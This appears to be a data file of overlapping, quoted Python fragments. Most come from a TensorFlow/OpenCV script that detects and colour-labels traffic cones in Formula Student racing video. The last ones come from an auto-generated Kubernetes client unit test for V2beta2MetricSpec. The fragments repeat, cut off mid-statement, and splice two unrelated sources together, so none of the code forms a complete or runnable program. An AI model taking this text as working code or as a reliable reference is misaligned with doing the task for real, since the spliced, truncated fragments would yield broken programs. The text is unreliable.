"= fid.read() od_graph_def.ParseFromString(serialized_graph) tflow.import_graph_def(od_graph_def, name='') label_map = label_map_util.load_labelmap(PATH_TO_LABELS) categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True)",
"0, 0), 2, cv2.LINE_AA) cv2.putText(output_img, str(round(z,1))+\" m\", (int(b[1] * width),int(b[0] * height)-5), cv2.FONT_HERSHEY_COMPLEX,",
"for object detector threshold_cone = 0.5 #Set path to check point and label",
"Engineering with the eSleek15.mp4') frameCount = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) fps = int(cap.get(cv2.CAP_PROP_FPS)) count = 0",
"20180619_180515860 # away from sun cap = cv2.VideoCapture('./test_videos/20180619_175221224.mp4') #cap = cv2.VideoCapture('./test_videos/Formula Student Spain",
"= int(cap.get(cv2.CAP_PROP_FPS)) count = 0 img_number = 1000 with detection_graph.as_default(): #with tflow.Session(graph=detection_graph) as",
"image (optional) # cv2.imwrite('./test_videos/cone_samples/' + str(img_number) + '.jpg', candidate) # img_number = img_number",
"how level of confidence for each of the objects. # Score is shown",
"0), 2, cv2.LINE_AA) cv2.putText(output_img, str(round(z,1))+\" m\", (int(b[1] * width),int(b[0] * height)-5), cv2.FONT_HERSHEY_COMPLEX, 1,",
"(boxes, scores, classes, num_detections) = sess.run( [boxes, scores, classes, num_detections], feed_dict={image_tensor: image_np_expanded}) #",
"img_number + 1 y = y + 1 z = 0 result =",
"Each box represents a part of the image where a particular object was",
"xmin, ymax, xmax] boxes = np.squeeze(boxes) scores = np.squeeze(scores) width = image_np.shape[1] height",
"cv2.resize(processFrame.image, (0,0), fx=0.5, fy=0.5) #image_np = processFrame.image # Expand dimensions since the model",
"the model expects images to have shape: [1, None, None, 3] image_np_expanded =",
"if result == 1: print(\"Blue Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h),",
"continue b = boxes[i] box_width = np.abs(float(b[3])-float(b[1])) box_height = np.abs(float(b[2])-float(b[0])) x = int(b[1]",
"together with the class label. scores = detection_graph.get_tensor_by_name('detection_scores:0') classes = detection_graph.get_tensor_by_name('detection_classes:0') num_detections =",
"= image_np[y:y+h, x:x+w] # if count % (2*fps) == 0: # # Save",
"* height)-5), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) if result == 2:",
"Visualization of the results of a detection. # Definition of boxes [ymin, xmin,",
"#Define no, of classes NUM_CLASSES = 1 #only one class, i.e. cone ##",
"+ 1 y = y + 1 z = 0 result = detectCone1(candidate)",
"= detection_graph.get_tensor_by_name('detection_classes:0') num_detections = detection_graph.get_tensor_by_name('num_detections:0') # Actual detection. (boxes, scores, classes, num_detections) =",
"where a particular object was detected. boxes = detection_graph.get_tensor_by_name('detection_boxes:0') # Each score represent",
"numpy import tensorflow as tflow from utils import label_map_util #from ConeDetection import *",
"(0,165,255), 7) cv2.putText(output_img, 'orange cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0,",
"int(box_height * height) w = int(box_width * width) candidate = image_np[y:y+h, x:x+w] #",
"tflow.Graph() with detection_graph.as_default(): od_graph_def = tflow.GraphDef() with tflow.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph =",
"(int(b[1] * width),int(b[0] * height)), (x+w,y+h), (0, 255, 255), 7) cv2.putText(output_img, 'yellow cone',",
"# Score is shown on the result image, together with the class label.",
"= 0 result = detectCone1(candidate) # print(result) if result == 0: print(\"Yellow Cone\")",
"cv2.putText(output_img, 'orange cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0),",
"if count % (2*fps) == 0: # # Save the image (optional) #",
"= 1000 with detection_graph.as_default(): #with tflow.Session(graph=detection_graph) as sess: with tflow.Session(graph=detection_graph, config=tflow.ConfigProto(gpu_options=gpu_options)) as sess:",
"Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (0,165,255), 7) cv2.putText(output_img, 'orange cone',",
"20180619_180755490 # towards sun # 20180619_180515860 # away from sun cap = cv2.VideoCapture('./test_videos/20180619_175221224.mp4')",
"'./frozen_weights/mobilenet_v2_0.75_224_frozen.pb' PATH_TO_LABELS = './test_scripts/label_map.pbtxt' #Define no, of classes NUM_CLASSES = 1 #only one",
"path to check point and label map #PATH_TO_CKPT = './frozen_orange_net.pb' PATH_TO_CKPT = './frozen_weights/frozen_cone_graph_modified.pb'",
"= './frozen_orange_net.pb' PATH_TO_CKPT = './frozen_weights/frozen_cone_graph_modified.pb' #PATH_TO_CKPT = './frozen_weights/mobilenet_v2_0.75_224_frozen.pb' PATH_TO_LABELS = './test_scripts/label_map.pbtxt' #Define no,",
"the result image, together with the class label. scores = detection_graph.get_tensor_by_name('detection_scores:0') classes =",
"Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (0, 255, 255), 7) cv2.putText(output_img,",
"tflow.Session(graph=detection_graph) as sess: with tflow.Session(graph=detection_graph, config=tflow.ConfigProto(gpu_options=gpu_options)) as sess: while count < frameCount: ret,",
"detection_graph.get_tensor_by_name('num_detections:0') # Actual detection. (boxes, scores, classes, num_detections) = sess.run( [boxes, scores, classes,",
"cv2.imwrite('./test_videos/cone_samples/' + str(img_number) + '.jpg', candidate) # img_number = img_number + 1 y",
"with detection_graph.as_default(): #with tflow.Session(graph=detection_graph) as sess: with tflow.Session(graph=detection_graph, config=tflow.ConfigProto(gpu_options=gpu_options)) as sess: while count",
"2, cv2.LINE_AA) if result == 2: print(\"Orange Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] *",
"y + 1 z = 0 result = detectCone1(candidate) # print(result) if result",
"str(round(z,1))+\" m\", (int(b[1] * width),int(b[0] * height)-5), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2,",
"* width) y = int(b[0] * height) h = int(box_height * height) w",
"box represents a part of the image where a particular object was detected.",
"utils import label_map_util #from ConeDetection import * from cone_img_processing2 import * import os",
"= cv2.GetSize(image_np) output_img = image_np.copy() for i in range(boxes.shape[0]): if np.all(boxes[i] == 0)",
"cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (0, 255, 255), 7) cv2.putText(output_img, 'yellow",
"box_width = np.abs(float(b[3])-float(b[1])) box_height = np.abs(float(b[2])-float(b[0])) x = int(b[1] * width) y =",
"0: # # Save the image (optional) # cv2.imwrite('./test_videos/cone_samples/' + str(img_number) + '.jpg',",
"= './frozen_weights/mobilenet_v2_0.75_224_frozen.pb' PATH_TO_LABELS = './test_scripts/label_map.pbtxt' #Define no, of classes NUM_CLASSES = 1 #only",
"#PATH_TO_CKPT = './frozen_weights/mobilenet_v2_0.75_224_frozen.pb' PATH_TO_LABELS = './test_scripts/label_map.pbtxt' #Define no, of classes NUM_CLASSES = 1",
"1 #only one class, i.e. cone ## Load a (frozen) Tensorflow model into",
"Student Spain 2015 Endurance- DHBW Engineering with the eSleek15.mp4') frameCount = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) fps",
"import cv2 import numpy as numpy import tensorflow as tflow from utils import",
"'orange cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2,",
"DHBW Engineering with the eSleek15.mp4') frameCount = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) fps = int(cap.get(cv2.CAP_PROP_FPS)) count =",
"Each score represent how level of confidence for each of the objects. #",
"as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tflow.import_graph_def(od_graph_def, name='') label_map = label_map_util.load_labelmap(PATH_TO_LABELS) categories =",
"image_tensor = detection_graph.get_tensor_by_name('image_tensor:0') # Each box represents a part of the image where",
"width),int(b[0] * height)), (x+w,y+h), (255, 0, 0), 7) cv2.putText(output_img, 'blue cone', (int(b[1] *",
"a particular object was detected. boxes = detection_graph.get_tensor_by_name('detection_boxes:0') # Each score represent how",
"image_np_expanded}) # Visualization of the results of a detection. # Definition of boxes",
"20180619_175221224 # shade to brightness # 20180619_180755490 # towards sun # 20180619_180515860 #",
"np.squeeze(boxes) scores = np.squeeze(scores) width = image_np.shape[1] height = image_np.shape[0] # width, height",
"detection of cone for object detector threshold_cone = 0.5 #Set path to check",
"cone_img_processing2 import * import os # Set threshold for detection of cone for",
"1 z = 0 result = detectCone1(candidate) # print(result) if result == 0:",
"particular object was detected. boxes = detection_graph.get_tensor_by_name('detection_boxes:0') # Each score represent how level",
"the image where a particular object was detected. boxes = detection_graph.get_tensor_by_name('detection_boxes:0') # Each",
"result == 2: print(\"Orange Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (0,165,255),",
"to have shape: [1, None, None, 3] image_np_expanded = np.expand_dims(image_np, axis=0) image_tensor =",
"* height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) cv2.putText(output_img, str(round(z,1))+\" m\", (int(b[1]",
"2, cv2.LINE_AA) if result == 1: print(\"Blue Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] *",
"cv2.putText(output_img, str(round(z,1))+\" m\", (int(b[1] * width),int(b[0] * height)-5), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0),",
"to brightness # 20180619_180755490 # towards sun # 20180619_180515860 # away from sun",
"= count + 1 # image_np = cv2.resize(processFrame.image, (0,0), fx=0.5, fy=0.5) #image_np =",
"= cv2.VideoCapture('./test_videos/Formula Student Spain 2015 Endurance- DHBW Engineering with the eSleek15.mp4') frameCount =",
"# Try the following videos: # 20180619_175221224 # shade to brightness # 20180619_180755490",
"# image_np = cv2.resize(processFrame.image, (0,0), fx=0.5, fy=0.5) #image_np = processFrame.image # Expand dimensions",
"sess: while count < frameCount: ret, image_np = cap.read() if ret == True:",
"* width),int(b[0] * height)), (x+w,y+h), (0, 255, 255), 7) cv2.putText(output_img, 'yellow cone', (int(b[1]",
"height) h = int(box_height * height) w = int(box_width * width) candidate =",
"# Visualization of the results of a detection. # Definition of boxes [ymin,",
"od_graph_def.ParseFromString(serialized_graph) tflow.import_graph_def(od_graph_def, name='') label_map = label_map_util.load_labelmap(PATH_TO_LABELS) categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True) category_index =",
"= detection_graph.get_tensor_by_name('detection_scores:0') classes = detection_graph.get_tensor_by_name('detection_classes:0') num_detections = detection_graph.get_tensor_by_name('num_detections:0') # Actual detection. (boxes, scores,",
"each of the objects. # Score is shown on the result image, together",
"1 y = y + 1 z = 0 result = detectCone1(candidate) #",
"the eSleek15.mp4') frameCount = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) fps = int(cap.get(cv2.CAP_PROP_FPS)) count = 0 img_number =",
"== 0) or scores[i] < threshold_cone: continue b = boxes[i] box_width = np.abs(float(b[3])-float(b[1]))",
"cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) if result == 2: print(\"Orange Cone\")",
"if result == 2: print(\"Orange Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h),",
"(0, 0, 0), 2, cv2.LINE_AA) if result == 2: print(\"Orange Cone\") cv2.rectangle(output_img, (int(b[1]",
"import tensorflow as tflow from utils import label_map_util #from ConeDetection import * from",
"boxes = detection_graph.get_tensor_by_name('detection_boxes:0') # Each score represent how level of confidence for each",
"label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True) category_index = label_map_util.create_category_index(categories) gpu_options = tflow.GPUOptions(per_process_gpu_memory_fraction=0.4) #config=tflow.ConfigProto(gpu_options=gpu_options) def mainLoop(): #",
"image_np = cap.read() if ret == True: count = count + 1 #",
"with the class label. scores = detection_graph.get_tensor_by_name('detection_scores:0') classes = detection_graph.get_tensor_by_name('detection_classes:0') num_detections = detection_graph.get_tensor_by_name('num_detections:0')",
"count % (2*fps) == 0: # # Save the image (optional) # cv2.imwrite('./test_videos/cone_samples/'",
"for detection of cone for object detector threshold_cone = 0.5 #Set path to",
"height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) cv2.putText(output_img, str(round(z,1))+\" m\", (int(b[1] *",
"(0,0), fx=0.5, fy=0.5) #image_np = processFrame.image # Expand dimensions since the model expects",
"b = boxes[i] box_width = np.abs(float(b[3])-float(b[1])) box_height = np.abs(float(b[2])-float(b[0])) x = int(b[1] *",
"width) y = int(b[0] * height) h = int(box_height * height) w =",
"img_number = img_number + 1 y = y + 1 z = 0",
"* width),int(b[0] * height)), (x+w,y+h), (0,165,255), 7) cv2.putText(output_img, 'orange cone', (int(b[1] * width),int(b[0]",
"if result == 0: print(\"Yellow Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h),",
"= './test_scripts/label_map.pbtxt' #Define no, of classes NUM_CLASSES = 1 #only one class, i.e.",
"height)), (x+w,y+h), (0,165,255), 7) cv2.putText(output_img, 'orange cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX,",
"numpy as numpy import tensorflow as tflow from utils import label_map_util #from ConeDetection",
"tflow.GraphDef() with tflow.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tflow.import_graph_def(od_graph_def, name='') label_map",
"height)-5), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) if result == 2: print(\"Orange",
"of classes NUM_CLASSES = 1 #only one class, i.e. cone ## Load a",
"label_map_util.create_category_index(categories) gpu_options = tflow.GPUOptions(per_process_gpu_memory_fraction=0.4) #config=tflow.ConfigProto(gpu_options=gpu_options) def mainLoop(): # Try the following videos: #",
"[ymin, xmin, ymax, xmax] boxes = np.squeeze(boxes) scores = np.squeeze(scores) width = image_np.shape[1]",
"== 0: print(\"Yellow Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (0, 255,",
"Set threshold for detection of cone for object detector threshold_cone = 0.5 #Set",
"as tflow from utils import label_map_util #from ConeDetection import * from cone_img_processing2 import",
"cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (0,165,255), 7) cv2.putText(output_img, 'orange cone', (int(b[1]",
"= np.expand_dims(image_np, axis=0) image_tensor = detection_graph.get_tensor_by_name('image_tensor:0') # Each box represents a part of",
"import numpy as numpy import tensorflow as tflow from utils import label_map_util #from",
"z = 0 result = detectCone1(candidate) # print(result) if result == 0: print(\"Yellow",
"(2*fps) == 0: # # Save the image (optional) # cv2.imwrite('./test_videos/cone_samples/' + str(img_number)",
"(0, 0, 0), 2, cv2.LINE_AA) cv2.imshow('object detection', cv2.resize(output_img, (image_np.shape[1],image_np.shape[0]))) cv2.waitKey(1) cv2.destroyAllWindows() if __name__",
"for each of the objects. # Score is shown on the result image,",
"classes NUM_CLASSES = 1 #only one class, i.e. cone ## Load a (frozen)",
"scores, classes, num_detections], feed_dict={image_tensor: image_np_expanded}) # Visualization of the results of a detection.",
"image_np_expanded = np.expand_dims(image_np, axis=0) image_tensor = detection_graph.get_tensor_by_name('image_tensor:0') # Each box represents a part",
"eSleek15.mp4') frameCount = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) fps = int(cap.get(cv2.CAP_PROP_FPS)) count = 0 img_number = 1000",
"# width, height = cv2.GetSize(image_np) output_img = image_np.copy() for i in range(boxes.shape[0]): if",
"and label map #PATH_TO_CKPT = './frozen_orange_net.pb' PATH_TO_CKPT = './frozen_weights/frozen_cone_graph_modified.pb' #PATH_TO_CKPT = './frozen_weights/mobilenet_v2_0.75_224_frozen.pb' PATH_TO_LABELS",
"(int(b[1] * width),int(b[0] * height)-5), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) cv2.imshow('object",
"= 0.5 #Set path to check point and label map #PATH_TO_CKPT = './frozen_orange_net.pb'",
"tensorflow as tflow from utils import label_map_util #from ConeDetection import * from cone_img_processing2",
"since the model expects images to have shape: [1, None, None, 3] image_np_expanded",
"a (frozen) Tensorflow model into memory. detection_graph = tflow.Graph() with detection_graph.as_default(): od_graph_def =",
"box_height = np.abs(float(b[2])-float(b[0])) x = int(b[1] * width) y = int(b[0] * height)",
"* width),int(b[0] * height)-5), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) if result",
"= tflow.Graph() with detection_graph.as_default(): od_graph_def = tflow.GraphDef() with tflow.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph",
"tflow.GPUOptions(per_process_gpu_memory_fraction=0.4) #config=tflow.ConfigProto(gpu_options=gpu_options) def mainLoop(): # Try the following videos: # 20180619_175221224 # shade",
"the results of a detection. # Definition of boxes [ymin, xmin, ymax, xmax]",
"= int(box_width * width) candidate = image_np[y:y+h, x:x+w] # if count % (2*fps)",
"expects images to have shape: [1, None, None, 3] image_np_expanded = np.expand_dims(image_np, axis=0)",
"1, (0, 0, 0), 2, cv2.LINE_AA) if result == 2: print(\"Orange Cone\") cv2.rectangle(output_img,",
"objects. # Score is shown on the result image, together with the class",
"image_np.shape[0] # width, height = cv2.GetSize(image_np) output_img = image_np.copy() for i in range(boxes.shape[0]):",
"x:x+w] # if count % (2*fps) == 0: # # Save the image",
"img_number = 1000 with detection_graph.as_default(): #with tflow.Session(graph=detection_graph) as sess: with tflow.Session(graph=detection_graph, config=tflow.ConfigProto(gpu_options=gpu_options)) as",
"num_detections) = sess.run( [boxes, scores, classes, num_detections], feed_dict={image_tensor: image_np_expanded}) # Visualization of the",
"Try the following videos: # 20180619_175221224 # shade to brightness # 20180619_180755490 #",
"np.all(boxes[i] == 0) or scores[i] < threshold_cone: continue b = boxes[i] box_width =",
"gpu_options = tflow.GPUOptions(per_process_gpu_memory_fraction=0.4) #config=tflow.ConfigProto(gpu_options=gpu_options) def mainLoop(): # Try the following videos: # 20180619_175221224",
"(int(b[1] * width),int(b[0] * height)), (x+w,y+h), (255, 0, 0), 7) cv2.putText(output_img, 'blue cone',",
"sess: with tflow.Session(graph=detection_graph, config=tflow.ConfigProto(gpu_options=gpu_options)) as sess: while count < frameCount: ret, image_np =",
"x = int(b[1] * width) y = int(b[0] * height) h = int(box_height",
"following videos: # 20180619_175221224 # shade to brightness # 20180619_180755490 # towards sun",
"count + 1 # image_np = cv2.resize(processFrame.image, (0,0), fx=0.5, fy=0.5) #image_np = processFrame.image",
"label_map = label_map_util.load_labelmap(PATH_TO_LABELS) categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True) category_index = label_map_util.create_category_index(categories) gpu_options =",
"int(b[0] * height) h = int(box_height * height) w = int(box_width * width)",
"2, cv2.LINE_AA) cv2.putText(output_img, str(round(z,1))+\" m\", (int(b[1] * width),int(b[0] * height)-5), cv2.FONT_HERSHEY_COMPLEX, 1, (0,",
"as sess: with tflow.Session(graph=detection_graph, config=tflow.ConfigProto(gpu_options=gpu_options)) as sess: while count < frameCount: ret, image_np",
"of boxes [ymin, xmin, ymax, xmax] boxes = np.squeeze(boxes) scores = np.squeeze(scores) width",
"image_np = cv2.resize(processFrame.image, (0,0), fx=0.5, fy=0.5) #image_np = processFrame.image # Expand dimensions since",
"cv2.putText(output_img, 'blue cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0),",
"= int(b[0] * height) h = int(box_height * height) w = int(box_width *",
"= img_number + 1 y = y + 1 z = 0 result",
"sun # 20180619_180515860 # away from sun cap = cv2.VideoCapture('./test_videos/20180619_175221224.mp4') #cap = cv2.VideoCapture('./test_videos/Formula",
"of confidence for each of the objects. # Score is shown on the",
"= image_np.shape[1] height = image_np.shape[0] # width, height = cv2.GetSize(image_np) output_img = image_np.copy()",
"(int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) cv2.putText(output_img,",
"if np.all(boxes[i] == 0) or scores[i] < threshold_cone: continue b = boxes[i] box_width",
"0, 0), 2, cv2.LINE_AA) if result == 1: print(\"Blue Cone\") cv2.rectangle(output_img, (int(b[1] *",
"0) or scores[i] < threshold_cone: continue b = boxes[i] box_width = np.abs(float(b[3])-float(b[1])) box_height",
"brightness # 20180619_180755490 # towards sun # 20180619_180515860 # away from sun cap",
"cap = cv2.VideoCapture('./test_videos/20180619_175221224.mp4') #cap = cv2.VideoCapture('./test_videos/Formula Student Spain 2015 Endurance- DHBW Engineering with",
"= image_np.copy() for i in range(boxes.shape[0]): if np.all(boxes[i] == 0) or scores[i] <",
"(optional) # cv2.imwrite('./test_videos/cone_samples/' + str(img_number) + '.jpg', candidate) # img_number = img_number +",
"h = int(box_height * height) w = int(box_width * width) candidate = image_np[y:y+h,",
"# towards sun # 20180619_180515860 # away from sun cap = cv2.VideoCapture('./test_videos/20180619_175221224.mp4') #cap",
"i.e. cone ## Load a (frozen) Tensorflow model into memory. detection_graph = tflow.Graph()"
] |
[
"= { 'key' : '0' }, ), ), target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization =",
"= '0', ), ), external = kubernetes.client.models.v2beta2/external_metric_source.v2beta2.ExternalMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0',",
"'key' : '0' }, ), ), target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value",
"described_object = kubernetes.client.models.v2beta2/cross_version_object_reference.v2beta2.CrossVersionObjectReference( api_version = '0', kind = '0', name = '0', ),",
"https://openapi-generator.tech \"\"\" from __future__ import absolute_import import unittest import datetime import kubernetes.client from",
"E501 The version of the OpenAPI document: v1.20.7 Generated by: https://openapi-generator.tech \"\"\" from",
"= '0', operator = '0', values = [ '0' ], ) ], match_labels",
": return V2beta2MetricSpec( container_resource = kubernetes.client.models.v2beta2/container_resource_metric_source.v2beta2.ContainerResourceMetricSource( container = '0', name = '0', target",
"# noqa: E501 if include_optional : return V2beta2MetricSpec( container_resource = kubernetes.client.models.v2beta2/container_resource_metric_source.v2beta2.ContainerResourceMetricSource( container =",
"\"\"\"Test V2beta2MetricSpec\"\"\" inst_req_only = self.make_instance(include_optional=False) inst_req_and_optional = self.make_instance(include_optional=True) if __name__ == '__main__': unittest.main()",
"from kubernetes.client.models.v2beta2_metric_spec import V2beta2MetricSpec # noqa: E501 from kubernetes.client.rest import ApiException class TestV2beta2MetricSpec(unittest.TestCase):",
"setUp(self): pass def tearDown(self): pass def make_instance(self, include_optional): \"\"\"Test V2beta2MetricSpec include_option is a",
"'0', type = '0', value = '0', ), ), pods = kubernetes.client.models.v2beta2/pods_metric_source.v2beta2.PodsMetricSource( metric",
"'0', value = '0', ), ), resource = kubernetes.client.models.v2beta2/resource_metric_source.v2beta2.ResourceMetricSource( name = '0', target",
"v1.20.7 Generated by: https://openapi-generator.tech \"\"\" from __future__ import absolute_import import unittest import datetime",
"def testV2beta2MetricSpec(self): \"\"\"Test V2beta2MetricSpec\"\"\" inst_req_only = self.make_instance(include_optional=False) inst_req_and_optional = self.make_instance(include_optional=True) if __name__ ==",
"included, when True both required and optional params are included \"\"\" # model",
"'0', target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value = '0', type = '0',",
"= kubernetes.client.models.v2beta2/container_resource_metric_source.v2beta2.ContainerResourceMetricSource( container = '0', name = '0', target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization =",
"both required and optional params are included \"\"\" # model = kubernetes.client.models.v2beta2_metric_spec.V2beta2MetricSpec() #",
"'0', value = '0', ), ), pods = kubernetes.client.models.v2beta2/pods_metric_source.v2beta2.PodsMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name",
"noqa: E501 from kubernetes.client.rest import ApiException class TestV2beta2MetricSpec(unittest.TestCase): \"\"\"V2beta2MetricSpec unit test stubs\"\"\" def",
"= '0', kind = '0', name = '0', ), metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name",
"required and optional params are included \"\"\" # model = kubernetes.client.models.v2beta2_metric_spec.V2beta2MetricSpec() # noqa:",
"= '0', ), metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions",
"kubernetes.client.models.v2beta2_metric_spec.V2beta2MetricSpec() # noqa: E501 if include_optional : return V2beta2MetricSpec( container_resource = kubernetes.client.models.v2beta2/container_resource_metric_source.v2beta2.ContainerResourceMetricSource( container",
"external = kubernetes.client.models.v2beta2/external_metric_source.v2beta2.ExternalMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector( match_expressions",
"'0', kind = '0', name = '0', ), metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name =",
"make_instance(self, include_optional): \"\"\"Test V2beta2MetricSpec include_option is a boolean, when False only required params",
"is a boolean, when False only required params are included, when True both",
"= '0', type = '0', value = '0', ), ), pods = kubernetes.client.models.v2beta2/pods_metric_source.v2beta2.PodsMetricSource(",
"of the OpenAPI document: v1.20.7 Generated by: https://openapi-generator.tech \"\"\" from __future__ import absolute_import",
"V2beta2MetricSpec # noqa: E501 from kubernetes.client.rest import ApiException class TestV2beta2MetricSpec(unittest.TestCase): \"\"\"V2beta2MetricSpec unit test",
"# coding: utf-8 \"\"\" Kubernetes No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)",
"type = '0', ) def testV2beta2MetricSpec(self): \"\"\"Test V2beta2MetricSpec\"\"\" inst_req_only = self.make_instance(include_optional=False) inst_req_and_optional =",
"testV2beta2MetricSpec(self): \"\"\"Test V2beta2MetricSpec\"\"\" inst_req_only = self.make_instance(include_optional=False) inst_req_and_optional = self.make_instance(include_optional=True) if __name__ == '__main__':",
"container_resource = kubernetes.client.models.v2beta2/container_resource_metric_source.v2beta2.ContainerResourceMetricSource( container = '0', name = '0', target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization",
"'0', value = '0', ), ), type = '0' ) else : return",
"kubernetes.client.models.v2beta2/container_resource_metric_source.v2beta2.ContainerResourceMetricSource( container = '0', name = '0', target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56,",
"), type = '0' ) else : return V2beta2MetricSpec( type = '0', )",
"# noqa: E501 The version of the OpenAPI document: v1.20.7 Generated by: https://openapi-generator.tech",
"= kubernetes.client.models.v2beta2/resource_metric_source.v2beta2.ResourceMetricSource( name = '0', target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value =",
"E501 if include_optional : return V2beta2MetricSpec( container_resource = kubernetes.client.models.v2beta2/container_resource_metric_source.v2beta2.ContainerResourceMetricSource( container = '0', name",
"from kubernetes.client.rest import ApiException class TestV2beta2MetricSpec(unittest.TestCase): \"\"\"V2beta2MetricSpec unit test stubs\"\"\" def setUp(self): pass",
": '0' }, ), ), target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value =",
"type = '0', value = '0', ), ), type = '0' ) else",
"value = '0', ), ), resource = kubernetes.client.models.v2beta2/resource_metric_source.v2beta2.ResourceMetricSource( name = '0', target =",
"= '0', name = '0', ), metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector",
"return V2beta2MetricSpec( container_resource = kubernetes.client.models.v2beta2/container_resource_metric_source.v2beta2.ContainerResourceMetricSource( container = '0', name = '0', target =",
"else : return V2beta2MetricSpec( type = '0', ) def testV2beta2MetricSpec(self): \"\"\"Test V2beta2MetricSpec\"\"\" inst_req_only",
"average_value = '0', type = '0', value = '0', ), ), object =",
"), external = kubernetes.client.models.v2beta2/external_metric_source.v2beta2.ExternalMetricSource( metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0', selector = kubernetes.client.models.v1/label_selector.v1.LabelSelector(",
"pass def tearDown(self): pass def make_instance(self, include_optional): \"\"\"Test V2beta2MetricSpec include_option is a boolean,",
"name = '0', target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value = '0', type",
"= '0', target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value = '0', type =",
"= '0', value = '0', ), ), type = '0' ) else :",
"'0', type = '0', value = '0', ), ), external = kubernetes.client.models.v2beta2/external_metric_source.v2beta2.ExternalMetricSource( metric",
"56, average_value = '0', type = '0', value = '0', ), ), object",
"value = '0', ), ), type = '0' ) else : return V2beta2MetricSpec(",
"E501 from kubernetes.client.rest import ApiException class TestV2beta2MetricSpec(unittest.TestCase): \"\"\"V2beta2MetricSpec unit test stubs\"\"\" def setUp(self):",
"No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version",
"= [ '0' ], ) ], match_labels = { 'key' : '0' },",
"), ), target = kubernetes.client.models.v2beta2/metric_target.v2beta2.MetricTarget( average_utilization = 56, average_value = '0', type =",
"average_value = '0', type = '0', value = '0', ), ), resource =",
"'0', operator = '0', values = [ '0' ], ) ], match_labels =",
"kind = '0', name = '0', ), metric = kubernetes.client.models.v2beta2/metric_identifier.v2beta2.MetricIdentifier( name = '0',",
